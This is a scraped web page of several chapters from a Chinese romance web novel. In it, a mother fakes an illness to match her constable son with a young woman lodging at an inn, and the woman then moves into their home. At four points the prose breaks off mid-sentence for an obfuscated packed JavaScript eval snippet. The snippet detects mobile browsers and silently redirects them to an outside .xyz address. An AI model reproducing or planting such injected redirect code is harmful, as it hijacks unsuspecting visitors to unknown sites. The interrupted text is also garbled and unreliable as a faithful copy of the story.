张春兰啧啧两声，想到儿子就头疼，吐槽道：“一点也不讲究，说一百遍都不见改，脾气说来就来，跟个炮仗似的。娇娇也是，自家男人也不管着点。” 周母深知好友挑剔的秉性，从她嘴里出来就没几句好话，当即不赞同道：“你差不多得了，总揭孩子的短，就你挑剔大牛的几句话我们都听许多遍了，何况大牛自己呢！” “是啊是啊！”翠英嫂子跟着附和，真诚的劝说道：“大牛是个实诚孩子，脾气哪有你说的那么坏，还不是你没事找事，总揪着无关紧要的小问题挑剔他，孩子大了，媳妇也娶了，小两口的日子你莫要插手太多，没得惹人烦。” “是是是，我都明白，这不是控制不住自己吗？”张春兰无奈叹了一口气。 她并非不识好歹之人，姐妹们的建议真诚有用，她都记在心里了，只不过习惯的力量太强大，总控制不住自己，嘴比脑子快，多次下来，孩子都要跟她生出嫌隙了，她也愁着呢！ “哪有什么控制不住，端看你愿不愿意狠心改变，以后想说伤人的话时，你就咬牙忍住，即便话已说出一半也狠心憋回去，时间一长，慢慢就改了，别怕丢脸，自家孩子还能笑话你不成？” 周母一边念叨一边收拾东西，起身就要走，张春兰忙问：“活还没干完，你要去哪？” “还能去哪？回家收拾屋子呗，那姑娘来投亲，闹成这样绝对不可能和好了，没地住，这会儿还在客栈将就着。砚哥儿考虑不周全，当着那么多人的面放出话，不管人家来不来，我都该提前准备好，不能失了礼数。” 周母笑盈盈留下一句话，哼着小曲回家了。 翠英嫂子和张春兰对视一眼，也不约而同笑起来。 周母一到家立马开干，前前后后用了一个时辰，终于将家中唯一的客房收拾干净。 她心情好了，干活特别起劲，丝毫不觉得累。 平时家里很少有客人来，客房基本都空着积灰，打扫干净后，周母里里外外检查一个遍，怎么看都觉得房间太空太寒碜了。 随即她找出一套茶具摆上，又从自己的嫁妆箱笼中翻出一块藕荷色的床帐将原先客房中那块灰扑扑的床帐替换掉。 床头桌太空，她便去路边摊淘一个浅蓝色的小花瓶，顺便买一束藕荷色绢布制作的假花插进去，搁置在床头，与床帐很是相配。 从打扫到布置，都是周母一个人忙活，前后花费一个半时辰，屋子总算焕然一新，有个姑娘闺房的样子了。 她满意地点点头，突然想起什么猛拍大腿，惊呼道：“哎哟，酉时正刻了，我晚饭还没烧呢！” 说完，她急哄哄赶去离家最近的小菜市称了两斤卤猪头肉，再带一把小青菜。 回到巷口恰巧偶遇刚下衙的周砚，母子俩一块回家，又一块做晚饭。 饭桌上，周砚一如既往的沉默。 而周母好几次想开口询问关于宁秋的事，都在对上儿子目光时犹豫了。 心里惦记着事，她吃饭也不舒心，余光一直往对面瞅，眼看周砚扒拉完最后一口饭起身走人，她赶忙出声，急急喊道：“等一下，娘有话要问你。” “嗯？”周砚回头，面露疑惑，不过还是听话坐回原位了。 “你没什么话要跟娘说吗？”周母问。 “什么话？” 周砚不解，只觉得今晚的阿娘实在奇怪，好几次看着他欲言又止，一副想说话又不知道要说什么的模样，直觉告诉他背后定然有事，果不其然，该来的还是来了。 他对上自家娘恨铁不成钢的眼神，莫名有些心虚，但他不明白自家娘想听什么，而他自己也没有特别的事要说。 想了想，他还是遵从本心直接说道：“您老有什么话直言便是，不必试探，您都盯我一晚上了，我又不瞎。” “你知道啊？知道还装傻充愣敷衍老娘，一天天的，不让人省心。” 周母白了儿子一眼，没好气地继续道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570953|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“说说吧！午后什么情况，你又是咋想的？现在左邻右舍都夸你孝顺，聘请宁巧娘她侄女来照顾我，我白白受了儿子的孝顺，总该有知情权，不然出去走动旁人问起我都回答不上来岂不是尴尬？” “这事没什么好说的，路见不平拔刀相助罢了，什么约定都是孩儿临时找的借口，娘不必当真。” 周砚不想多说，端起水杯喝了一大口，眼帘低垂，遮掩眼眸中细微的情绪变化。 “哦，你说不当真就不当真了？”周母心里烦躁的很，俨然是被儿子不以为意的态度气到了，当即吐槽道：“多说两句话你会少几块肉吗？跟地里的癞蛤蟆似的，戳一下屁股就往前跳一下，想从你嘴里多听点大实话可真难。” 周砚：…… “怎么，我说你说错了？臭脸给谁看啊？” 周砚：…… 气归气，周母还是不死心地追问道：“你老实跟娘说，你是不是看上宁巧娘的侄女了？那姑娘叫什么名？你若是喜欢，娘便帮你探探口风。” “没有，我们之间什么关系都没有，您别乱来。” 周砚暗暗叹了一口气，感觉他娘想儿媳妇想的快魔怔了，当即无奈地解释道：“我是捕快，吃的公家饭，违法乱纪之事就发生在咱们家门口，我人在现场亲眼所见，若是什么反应都没有，眼睁睁看着一个无辜的姑娘陷入绝境，如何对得起这身衣裳？在其位谋其职，如此百姓方能信服我。娘，您要是需要人伺候，我给您买个懂事的小丫鬟，不要舍不得钱。” “行了行了，解释那么多真难为你了。老娘不需要人伺候，你若有心赶紧娶个媳妇回来，别整那套没用的大道理，赶紧出去该干嘛就干嘛，莫要在我眼前晃悠，看到你就烦。” 周母嫌弃地摆摆手，将周砚打发出去，缓了好一会儿才平息好翻涌的情绪，收拾碗筷，一边洗，一边盘算着其他办法。 以自家儿子的性格，没有她从中助力，没有她帮忙操持，这辈子都得打光棍。 三巴掌拍不出一个屁，哪个姑娘愿意嫁这种人，气都气饱了。 周母在心中暗暗腹诽，嫌弃归嫌弃，却不能真的放手不管，而且从过来人的眼光看，自家儿子确实对宁家丫头不同，只是他自己没发现而已。 说什么职责所在，平州城中每天那么多人需要帮忙，男女老少，可怜之人不在少数，他怎么不去可怜别人？也没见他一而再，再而三地帮助其他人啊！ 周母越想越觉得自己猜中了真相，心情都跟着愉悦起来，不知不觉地哼起小曲。 周砚被赶出厨房也不恼，一笑置之，随即提桶打水，快速地洗去一身尘土。 晚秋的井水比他想象中寒凉，落到身上时，连他都没忍住打了个哆嗦，鸡皮疙瘩纷纷冒出来。 不过他有意锻炼自己的体魄，无论天热天冷都一样，冷水从他的肌肉纹理划过，留下一道道水痕，很快又被新的冷水冲刷，一遍又一遍，身体渐渐就适应了。 15. 辩论 两桶冷水下去，周砚被母亲念叨到发昏的脑子总算清明了。 他长舒一口气，不慌不忙地擦身穿衣，浅墨色里衣紧紧裹住他健硕的身躯，发尾未干，一滴水滑落，瞬间晕染开一片墨色。 仅收拾琐碎的功夫，院子里又响起周母的碎碎念。 “跟你说过多少遍了，别仗着自己年轻身体好就不爱惜，加点热水不容易染风寒，今日你春兰婶还说大牛不听话，脾气倔，我看你也不遑多让。” 周砚闷声不吭，全当没听见，依旧不慌不忙地干自己的事。 “好了没有？眼看冬日要来了，吹的都是北风，小心磨蹭太久着凉。” 周母的嘴巴依旧不停歇，念叨多了，周砚脾气再好也有些受不了，赶忙加快手中的动作，拎着脏衣裳从浴房走出来。 他将脏衣服拎到水井边，无奈地看向周母，尾音拉长，试图跟瞎操心的母亲讲道理：“娘，我二十二岁，不是两岁，天气变化，是冷是热我能不知道吗？您老别管了，我知道怎么照顾自己，死不了。” “呸呸呸，小孩子家家别乱说，什么死不死的，晦气，娘说你也是为了你好，不爱听就算了，莫要将死不死的挂嘴边。” 周母白了周砚一眼，怕儿子又胡言乱语，愣是消停了。 一刻钟后，她转悠着回水井边，看到周砚仿佛跟衣裳有仇似的，一个劲猛搓，又忍不住开了口，“轻一点，照你这个搓法，没穿几次就烂完了，实在不行你放哪，一会儿娘帮你洗。” 周砚：…… “娘，您有话直说可以吗？”周砚冷着脸开口。 他回平州两年，也与自家娘朝夕相处两年，平时对方就算唠叨，也不会像今晚这样事无巨细，干什么都要挑一嘴，没话找话。 听得多了，耳朵里嗡嗡嗡的，换谁来也受不了啊！ 周母被这句话一噎，支支吾吾好一会儿才道：“娘知道你忙，也尽可能给予更多的理解，但成亲生子乃人伦常情，娘希望你身边有个知冷知热的人陪伴，出门在外，别人见到你才不会说三道四。” “娘，您说的这些我都明白。” 周砚拧干衣裳随手扔进盆中，眸色沉沉，双眸在忽明忽暗的灯笼光线下显得更幽深了。 他沉思片刻，而后认真道：“孩儿不排斥成亲，但姻缘天定，又论父母之命媒妁之言，不是随便拉郎配，说成就能成的，您且放宽心。” “至于别人会不会说三道四，管他呢，咱们过好自家的日子，不愁吃不愁穿，嘴长别人脸上，爱说什么就说什么，随便吧！” 周砚不在乎别人怎么看他，只在乎自己所做所为是否遵从本心了。 人有七情六欲，悲欢离合，但凡与人有接触，流言蜚语的产出就不可能完全断绝，何必因此自扰？ 有那闲工夫，倒不如给自己找点事情做，人就是太闲了，才会想些有的没的给自己找麻烦。 “话不是这么说。” 周母不赞同儿子的说法，还试图扭转他的思想，当即冷哼道：“姻缘天定也要你自己有那个想法并且去行动啊！你死犟着干等，缘分就是送到咱们家门口，你不主动迎接也是白瞎。” 她这话也不是固执己见的嘴硬言论，而是太了解自家儿子，不用多动脑子都能猜到他的一些做法和反应，忍不住想吐槽。 “你是娘十月怀胎又辛辛苦苦教养长大的孩子，即便有几年从军不在身边，但是基本性格也养成了，娘自诩对你有一定的了解，而你根本不是那种爱管闲事的人。” 周母蹲下来与周砚平视，倏然一笑。 随即她凑近周砚，双眼放光，刻意压低声音神神秘秘地问道：“你老实告诉娘，看见宁姑娘时心里有什么感觉？和她说话时会不会紧张？她冲你笑的时候会不会不自觉跟着笑，然后心里也高兴？” 三连问砸下来直接将周砚砸懵了，他眨了眨眼睛，低下头，脑海中不自觉浮现宁秋的身影，可怜单薄的、坚韧倔强的、一脸伤惨兮兮的，还有举刀抢回银子时狡黠明朗的笑容…… 二人没见过几次，但每一次见到的她，似乎都不太一样。 什么感觉？ 不好说，挺复杂的，捋不清楚。 “你怎么不说话？”周母戳了戳周砚，“每次跟你说成亲的事你就变成锯嘴葫芦，这次不说个子丑寅卯出来，今晚别想睡了，老娘跟你耗到底。” 周砚乱飞的思绪被他娘无情的话拉回现实，烦躁地拍了拍盆里的水，闷声道：“我就是看她可怜，出门在外，能帮就帮，没多想。” “那她呢？她怎么想？”周母追问。 “我怎么知道？” 周砚起身，将洗好的衣裳晾起来，实在不想讨论这个问题，但是又无法回避。 片刻后，他才叹了一口气，很是无奈地说道：“娘，我都二十二了，人家姑娘才十七，咱就别祸害人家了。” “什么叫祸害，都是适婚的年纪，男未婚女未嫁，怎就不行了？” 周母哼声，有些不高兴，“你在衙门当差，身形样貌都不差，年纪稍长宁姑娘一些却也没到老男人的地步，不算埋汰她。再说了，咱们家人少关系简单，不用处理乱七八糟的事，林林总总细数一遍，其实你不差的，儿啊，你要对自己有信心。” “老男人”周砚：…… “罢了罢了，你自己的事自己考虑吧！人家姑娘未必瞧得上你，说再多也没用。” 周母很快说服了自己，没等周砚接话转身回屋了，余留周砚一人在院中凌乱，被他娘时好时坏的母爱创飞。 母子俩短暂的“交锋”以周母飞速转变的态度完胜，周砚抿了抿唇，一声不吭回了自己屋。 这一夜，周砚没有睡好，乱七八糟的梦境消耗着他的精神力，好几次想醒却没有醒，迷迷糊糊又陷入了梦境。 第二日晨起，他感觉脑子胀的厉害，隐隐作痛，坐床上缓了好一会儿才慢慢恢复状态。 他摁了摁太阳穴，目光投向窗口，却见院子里一片漆黑，也没有其他动静，不由疑惑起来。 按照他娘的生活习惯，这个时辰已经起床做早饭了。 饭后二人一块出门，一人去衙门当差，一人开始晨练。 难道是睡过头了？ “娘，娘？” 周砚在院子里喊了两声，屋子里的周母听见了，但是她故意没应。 “娘，您是有哪里不舒服吗？”周砚以为母亲出事，赶忙过来敲门，声音刻意加大了些。 “别叫了，我没事。”周母假咳两声，因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574643|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻意为之，声音听起来有些沙哑，“一天天就知道喊娘，想睡个懒觉都不成。今日不做早饭了，你出门随便在路边吃点。” “没事就好，您继续睡。” 周砚松了一口气，早饭在哪吃都成，只要母亲好好的，无病无痛，他便安心了。 洗漱收拾妥当，周砚带上佩刀轻手轻脚离开。 几乎是大门合上的瞬间，躲在屋后偷看的周母猛地拉开屋门，心情颇好地奔向厨房，多年的习惯哪能说改就改，她不过是耍点小手段准备帮助儿子开情窍罢了。 午时不到，张春兰在周母的示意下满脸急色来到府衙寻周砚，开口便是：“砚哥儿，你赶紧回家一趟，你娘生病了。” “什么情况？可送去医馆了？”周砚问。 张春兰应答：“从医馆回来了，大夫说是老毛病，得安心将养着，我也不太懂，你自己回家问问你娘吧！” “成，有劳婶子了。” 周砚常年冷淡的面庞染上些许急色，叮嘱好友帮忙告假，自己跟着张春兰急匆匆回家了。 老槐巷周家。 周母刚啃完一个烧饼，味蕾得到了极大的满足。 她估算着时间，按照老姐妹的脚程应该快将人带回来了，为此，她拿出新买的脂粉往脸上薄薄涂了一层，乍一看，还真像那么一回事。 保险起见，她对着镜子一遍又一遍演练病弱的状态，十几遍下来，成效显著，别说其他人了，就是她看着镜子里的自己也差点要相信了。 大门开锁的声音将周母的思绪拉回现实，她匆匆收拾桌子上的东西躺回床上，几乎是屋门打开的瞬间，咳嗽声也随即响起来。 “娘，您好些了吗？”周砚关切地询问。 担心露馅，周母“咳”的更厉害了，周砚不禁蹙起没头，心也高高悬起来。 “娘没事。” 周母的脸因剧烈咳嗽透出些许红，很快就淡下去了。 “老毛病了，不打紧。我都说不让你春兰婶打扰你，她不听，反倒是耽误你的差事了。” 张春兰一听，“不乐意”了，当即反驳道：“都成这样了嘴巴还不消停，我不找砚哥儿谁来照顾你？我午后可没空，别指望我。” “是是是，你大忙人一个，指望不上你我就找翠英来帮忙。” “翠英也没空。” 周母提一人，张春兰就反驳一句，总结来说就是“你王桂花有儿子舍不得使唤，尽想占我们的便宜，休想”。 周砚算是听出来了，不过他不是那等不讲理的人，照顾病患非一日之功，熟识的人都有自家事要忙，即便愿意花钱聘请，人家也未必腾得出时间。 帮个一次两次是情分，总不好一直麻烦别人。 周砚考虑过自己请假回来照顾母亲的可能性，但衙门里能用的人实在太少。 他手中还有几件事没能处理，若说请个十天八天伺候老娘，上峰定然会批准，其他人也能理解，但他们的压力会增长好几倍。 “砚哥儿，娘没事，你回衙门吧！”周母不动声色地打量儿子的反应，继续道：“大人器重你，将重要的差事交给你办，你得争气点，莫要辜负大人的信重。最近正是提拔捕头的关键时刻，什么事都没有你的前途重要，咳咳……” 16. 打脸 周母一阵猛咳，演的太逼真太卖力，一口气上不来，直接憋的满脸通红，差一点就撅过去了。 “娘，怎么回事？”周砚哪见过这种场面？直接被吓一大跳，忙上前替她顺气。 而站在床边的张春兰以为是装的，半点不担心，还暗暗称奇，腹诽老姐妹的演技堪比戏院里面的角，若非知晓背后隐情，她都要被唬住了。 “娘没事，咳咳咳，你不用担心，你的差事……咳咳……” “行了，您少说两句吧！咳成这样还惦记什么差事，现在什么事都没有您的身体重要。” 周砚没好气地回一句，一边心疼母亲受罪，一边怪她不爱惜自己的身体，都病的下不来床了还想瞒着他。 “娘也是为了你好......” “停！” 周砚没等周母说完一句话，便黑着脸开口打断道：“您真为我好就少说两句安心养病，好不好的我能不知道吗？” 屋子里因为周砚这句话安静了一瞬，若非顾及母亲的颜面，他真想好好掰扯“为你好”这个话题。 张春兰在旁有些尴尬，考虑到老姐妹有儿子在身边照顾，自己也惦记家中的小孙儿，便寻个借口回家了。 人一走，周母又开始“为你好”，一个劲说自己没事，劝说周砚不要管她，回去府衙办事最重要。 念叨的多了，沉默的周砚终是忍不住小小爆发，下狠嘴道：“娘，能让承受方感觉到的好，才叫真正的好，只您一人觉得好，不顾我的意愿一厢情愿付出，于我而言反倒是一种负累。咱有病就治病，作为儿子，孝顺您是应该的，府衙那边我自会去协调，您少操点没必要的心吧！” 周母一噎，张了张嘴，终究还是选择了沉默。 儿子不提，她永远不会考虑这个问题，什么样的好才是真正的好？ 为孩子付出已经成为一个母亲的本能反应了，如今孩子已经长大，有了自己的思想，有了自己做事的行为准则，盲目的付出，自以为是的好，或许真的是一种负担。 周母尝试着换位思考，小到为你好所以让你吃不爱吃的东西，大到干涉日常生活习惯，干涉差事处理亦或是婚姻大事。 她将自己代入其中，越想越憋屈，看着屋中忙忙碌碌，一会儿端药，一会儿端水的儿子，心中复杂无比。 自己平时没那么专断，控制欲没那么强吧？当然，儿子也不听她的，但是不否认她偶尔也存在这样的问题。 罢了罢了，既然知道有毛病，改正就是了，以后多注意点，当下的任务是演好一个病人，其他事以后再说。 母子俩同在家中各干各的事，半天下来，愣是没说几句话。 周母是个爱热闹的性子，只要有空，她坐巷口处跟人聊八卦能聊一整天，今日为了演一出戏也是拼了。 特别是儿子在眼前时，她连床都不下，大半天闷在屋子里，老姐妹一走，她连个闲聊的人都没有，着实煎熬，但想想自己的目的，又感觉未来可期。 煎熬一直持续到晚上，无所不能、兢兢业业的周砚遇到了一个必须求助他人的难题。 “娘，您稍等片刻，我去找翠英婶子和春兰婶子过来帮忙。” 周砚面上依旧保持着一本正经的神情，实则心中尴尬不已，匆匆出了门。 这个时辰能因为什么事周母心中明了，忍不住低声笑骂儿子一句，心情颇好地哼起小曲。 等待的过程中，她偷偷摸摸下床，时不时凑到门边观察院子里的情况。 大概过了两刻钟左右，周砚蔫头巴脑回来，印堂处直接凝成了川字，那吃瘪的模样令周母险些笑出声。 巷子里关系不错的人家她都提前打过招呼了，即便老姐妹们有空也不会过来，周砚这趟注定跑空。 “怎么样？其实娘没关系的，天气寒凉，一两天不洗澡也不会臭。” 周母故意将话说的很离谱，然后矫揉造作从床上下来，没走两步，就装作晕晕乎乎状态捂着脑袋蹲下，嘴里不断吆喝着“哎呦哎呦”。 这一段演的实在差，叫唤声中气十足，周砚越看越觉得不对劲，狐疑地观察周母，并没有像白天那般着急上前搀扶。 “唉！早知道年轻时多要个闺女了，有妹妹帮衬，你也不必如此为难，一直耽误你的差事也不妥，要不咱还是请个人吧！” 周母自说自话还不忘“哎哟”两声，就在周砚迟疑沉默之际，她悄悄抬眼偷瞄，正好被周砚的眼神捕捉到了。 目光相触，周母神色一滞，很快淡定下来，假装无事发生继续“哎呦”。 事已至此，周砚还有什么不明白的？ 他脸黑如墨，深深看了周母一眼，一声不吭转头走了。 望着晃动的屋门，周母知晓这场戏没办法再演下去了。 她拍拍大腿，遗憾起身，默默到厨房做晚饭。 …… 周砚此刻的心情很复杂，感觉有一口气堵在胸口出不去，又咽不下，无处宣泄。 他闷头狂走，直奔巷口的老槐树，一屁股坐到树下的石墩上，面对着老槐树独自生闷气，试图以这种无害的方式消化心中的情绪。 他实在是想不通啊！ 母子间有什么事不能好好说，非要装病演一场，害他担心了大半天，耽误正事不说，还影响彼此间的信任。 现在再来一个人跟他说“你娘生病了”，他恐怕是不会信了。 好好的，为何要骗人呢？ 周砚越想越气，又拿亲娘没办法，在树下闷坐一刻钟情绪也不见有丝毫好转，心里更难受了。 正在这时，陈淮和陈安兄弟俩下衙回来，看到周砚一个人坐在角落，忙凑过去问道：“砚哥，你在这干嘛？” “在数蚂蚁。” 周砚闷声回了一句不符合年纪的话。 陈淮陈安：…… “好端端的，谁惹你生气了？婶娘不是病了么，现在怎么样了？”陈淮好奇地问。 他与周砚年岁相当，儿时常在一块玩，知道周砚一生气就爱来老槐树下苟着，从军三四年，又回来两年，还以为这个习惯已经改了，没想到今日会重现。 “我没生气，我娘也好好的，算了算了，你们先回家吧，我想一个人静静。” 周砚挥挥手，面上神色无奈中又带了点烦躁，怎么看都很不友好，不知道的，还以为是陈家兄弟惹到他了。 “行吧！”陈淮拍了拍周砚的肩膀，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582115|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你自己冷静一下，实在处理不了跟兄弟说，走了。” 以他对周砚的了解，能让一向情绪稳定的人产生如此大的反应，定是不易宣之于口的事，多问无益，想说早说了，根本不需要问。 陈家兄弟走后，又有好几个熟识路过与周砚打招呼，他都敷衍地回应了。 转眼又过去一刻钟，归家路过巷口的人越来越多，扰得他没办法冷静，只好起身继续朝外面走，不知不觉间，人已经来到福来客栈门口了。 “怎么到这来了？” 周砚低声兀自呢喃，话落正要离开，身后突然传来一声呼唤，他闻声下意识回头。 姑娘一袭水蓝色裙裳快步而来，稳稳停在他的面前，笑眼弯弯，正仰着头与他说话。 “周大哥好巧啊！这个时辰你怎么在这，是下衙路过吗？” 宁秋今天一上工，立马就找金绣阁的掌柜和陈管事说明情况，保证姑姑一家不会再来铺子闹事。 有了她的保证，又签了关于此事的契书，掌柜和陈管事商议后表示愿意再给她一次机会，这份历经辛苦找到的活算是保住了。 她很感激周砚，如果没有他，自己还不知会落入何种境地，或许早已不堪受辱香消玉殒，被人用一块破草席圈起扔去乱葬岗喂野狗了。 周砚垂眸对上宁秋明亮的双眼，脑海中回想起娘同他说的话，不禁心虚起来。 他的眼神悄然闪躲回避，在宁秋发现之前点了点头，顺着她的话道：“嗯，正好路过。” 话题没有带起来，气氛瞬间凝滞，二人都不擅长与异性.交流，又没到告别的地步，一时间大眼瞪小眼，很是尴尬。 宁秋揉搓着自己的衣角，看了周砚好几眼也不见他开口说话。 片刻后，她咬了咬唇，说道：“周大哥，时辰已不早，你有事要忙的话我就不打扰你了，先回客栈，改日得闲我想请你吃顿饭，可以吗？” “嗯。” 周砚此刻思绪乱飞，压根没听清宁秋说了什么，只听见最后一句“可以吗？”，便下意识应下了。 至于“可以”什么，他还没弄清楚。 正想多问一句，便听宁秋兴奋道：“太好了，你等我的好消息，等我在金绣阁寄卖的绣品卖出去，手头有余钱，我们就到馄饨店大吃一顿。” “好。” 周砚将想问的话重新咽回去，大概猜到宁秋的意思了。 “那我们就说定了。”宁秋粲然一笑，随即指了指客栈大门，道：“我先进去，你随意哈，若是有什么需要帮忙也不必跟我客气。” “嗯。”周砚又一次简短回应，听起来甚是敷衍。 不过宁秋不在意这些，说完立马转头，毫不犹豫朝客栈大门去。 眼看姑娘纤细的身影即将进入客栈，周砚鬼使神差喊道：“等一下，宁姑娘，你等一下。” 宁秋疑惑回头。 “我想请你帮个忙，不知姑娘有空否？” 周砚上前几步，补充道：“我娘她病了，需要人照顾，但是府衙亟待处理的事实在太多，我根本脱不开身，只能寻求外援了。姑娘放心，酬劳我按月给你，每月一两银子，就是不知姑娘的时间是否能协调过来。” 17. 入住 自从知道宁秋入金绣阁后，周砚也了解过一些关于这个行业的事，金绣阁的招工条件他是知道的。 宁秋诧异，还在犹豫的时候，便听周砚又道：“不用你一整日照顾，先忙完金绣阁的活，再回来帮忙弄点吃的，熬个药，得闲就陪她说说话，必要时搭把手做点其他事。” “婶娘知道吗？”宁秋问。 “嗯，她知道。”周砚应声。 他娘怎么可能不知道？ 依他娘爱折腾的劲，不是完全看不到希望她绝对不会罢休。 今天他不厚着脸皮开口，没准哪天他娘就直接找到福来客栈，问人家姑娘要不要做她的儿媳妇了。 与其被动进入尴尬境地，不如主动出击，多留一点转圜的余地。 “你放心，我娘的性子虽比同龄人跳脱些，爱折腾些，但她做事还算有分寸，人很好相处。” 周砚现在一想到自家娘就头疼，但在宁秋面前，他还是尽量多说好话，心里盘算着一会儿回家先敲打阿娘几句，让她收敛一点，别把人吓到了。 一想到昨日还义正言辞拒绝宁姑娘，今日便巴巴过来请人帮忙，周砚的脸就生疼，自己“打”的，还怪不到别人头上。 罢了，仅此一次，下不为例。 往后任凭阿娘再怎么演，他也不能心软，只当没看到，不孝就不孝吧！ “那行。” 宁秋颔首应承，本就想找机会报恩，别说付月银了，就是不给钱让她帮忙伺候十天半个月她也是愿意的。 不过眼下还有一个问题亟待解决，她道：“什么时候过去？我现在还没找到合适的住处，近几日要往牙行跑，占用时间比较多，若是婶娘的病比较严重，用人的地方比较多，我恐怕兼顾不来。” 宁秋低下头，一会儿要说的话让她很不好意思，不安地搅动衣摆，声音也越来越小。 “客栈实在太贵了，处处都要钱，我......我能不能暂时住你家？” 这是宁秋第二次提及住进周家，昨日话赶话，气氛和场景都很合适，结果被拒绝了。 今日旧话重提，乘了周砚主动寻求帮助的东风，也不知道他会不会答应？ 宁秋心中忐忑，又隐隐有些期待。 换作以前，她绝不会考虑住进无血缘关系的男子家中，落人口舌。 现在着实没了办法，便宜的住处找不到，在平州城中吃住行都要花钱，自己身上的银钱又所剩无几，支撑不了几日，她想在这边落脚，就必须找个稳妥的“靠山”暂时应对当下的困境。 而周砚是她来平州后遇到的第一个人，多次接触下来，他确实比其他人可靠，更让人信服。 宁秋不想考虑以后的路怎么走，将会面对什么，她只在乎眼下有没有地方住，下一顿在哪里吃。 没有当下，又何谈未来呢？ 等待回答的过程比想象中还要煎熬，宁秋动了动脚，感受着从脚心上传的麻意，缓缓抬起头，用试探性的口吻追问道：“不可以吗？” 周砚无法忽视姑娘满含期待的目光，薄唇微微抿起，纵使心里有无数个拒绝的理由，也更认同昨日的说辞，但“不可以”三个字无论如何也说不出口。 他轻叹，可耻的心软了，道：“嗯，你不介意的话，我家还有一间客房无人居住。” “不介意，不介意，就怕给你和婶娘添麻烦。” 宁秋秀丽的小脸上绽放出明媚的笑容，生怕周砚后悔，她忙道：“你等我一刻钟，我上去收拾东西找彭青退房。” 说着，人转身就跑，速度飞快，跟背后有狗撵似的。 周砚无奈地摇摇头，找个角落站着，在心里复盘最近所发生的事情。 从那日见到宁秋好心问一句，到现在准备将人带回家，他发现这段时间里所有出乎意料、打乱节奏的事情，几乎都与宁秋有关。 一开始，他只是觉得小姑娘不容易，大老远来投奔亲戚却落到如此地步，可怜她，才出手帮忙。 后来再遇到事情，想着帮一次是帮，帮两次也是帮，好人做到底，正巧他也看不惯庞桥的做派，趁机收拾一顿，自己的心情也能舒畅些。 一次又一次，两人的接触慢慢多了，他也得以看到宁秋除可怜之外的其他特质。 这是一个很特别的姑娘。 “周大哥，我收拾好了，我们走吧！” 宁秋的声音拉回了周砚的神思，他轻“嗯”一声，随手扯过宁秋的包袱往背上一甩，道：“那就走吧！” 宁秋一愣，茫然看了眼空寥寥的双手，嘴角不自觉抽了抽。 行吧！省事了。 二人一前一后朝老槐巷走，始终保持着两步距离，谁也没说话。 天色渐渐暗下来，往来行人步履匆匆，没一会儿就看不到影了，只宁秋二人依旧不急不缓，步调从容。 从宁秋的身高角度看过去，夜色模糊了边际，更衬出周砚背影的宽厚，她仗着周砚的后背不长眼睛，一个劲盯着他的后背偷看，眼神中充满了好奇。 阿爹是读书人，他的后背颀长瘦削，缺乏力量感，大伯二伯他们常年干苦力活，后背结实有力却没有这般挺拔宽大，至于其他熟识的异性，各有各的样子，但是他们的后背看起来远不如周砚这般可靠。 是的，可靠。 宽厚有力，仿佛天塌下来，他的肩膀都能支撑半天。 宁秋一边看一边在心里蛐蛐，许是目光太过炙热了，让人无法忽略。 周砚走着走着放慢了步调，渐渐与宁秋齐平，视线似有若无地下移，看到宁秋蓬松略有些乱的发顶，心痒痒，想伸手揉一揉。 还好理智尚存，忍住了。 “你刚刚在看我？”周砚一本正经地问。 “啊？”宁秋抬头匆匆一瞥，不敢与周砚对视，磕巴道：“没……没有啊！天黑了。” “哦，天黑了啊。”周砚听出了宁秋语气里的慌张，不知怎的，突然想逗一逗她，看她会有什么样的反应，便故意拉长尾音说道：“天黑了，所以你没有看我？” “是，是啊！” 宁秋不知该怎么回答，忙加快步伐急哄哄往巷子里走，边走边故作镇定地喊道：“哎呀，天黑了，你走快点，一会儿看不清路了。” 两三句话的功夫，二人的位置调换过来。 她转移话题的意图太过明显，周砚没忍住低笑出声，随即就见前面的姑娘走得更快了。 宁秋在前面倒腾着两条腿，自认为走的飞快，然而身高差距摆在那里，不管她多努力，身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588496|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人总能轻松跟上，并维持两三步的距离。 